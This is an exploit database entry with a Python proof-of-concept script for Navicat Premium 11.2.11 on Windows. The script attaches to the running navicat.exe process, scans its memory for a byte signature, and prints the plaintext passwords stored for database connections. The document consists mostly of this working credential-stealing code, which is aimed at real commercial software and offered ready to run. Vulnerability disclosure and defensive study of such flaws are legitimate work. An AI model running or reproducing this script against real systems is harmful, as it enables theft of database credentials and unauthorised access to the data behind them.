Navicat Premium 11.2.11 (x64) - Local Database Password Disclosure

2016-09-05T00:00:00
ID 1337DAY-ID-24780
Type zdt
Reporter Yakir Wizman
Modified 2016-09-05T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            #####
# Navicat Premium 11.2.11 (64bit) Local Password Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.navicat.com/
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
#
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# Navicat Premium client v11.2.11 is vulnerable to local password disclosure, the supplied password is stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied password in order to gain access to the database.
# Proof-Of-Concept Code:
#####
 
import time
from winappdbg import Debug, Process
 
count       = 0
found       = 0
filename    = "navicat.exe"
process_pid = 0
memory_dump = []
 
def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()
 
def h2b(str):
    bytes = []
    str = ''.join(str.split(" "))
    for i in range(0, len(str), 2):
        bytes.append(chr(int(str[i:i+2], 16)))
    return ''.join(bytes)
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process with pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
         
        process = Process(process_pid)
        for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'):
            memory_dump.append(process.read(address,30))
        memory_dump.pop(0)
        for i in range(len(memory_dump)):
            str = b2h(memory_dump[i])
            first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1]
            last = first.split("00 ")
            if last[0]:
                count = count+1
                found = 1
                print "[+] Password for connection #%d found as %s" % (count, h2b(last[0]))
        if found == 0:
            print "[-] Password not found! Make sure the client is connected at least to one database."
    else:
        print "[-] No process found with name '%s'." % (filename)
     
    debug.loop()
finally:
    debug.stop()

#  0day.today [2018-02-06]  #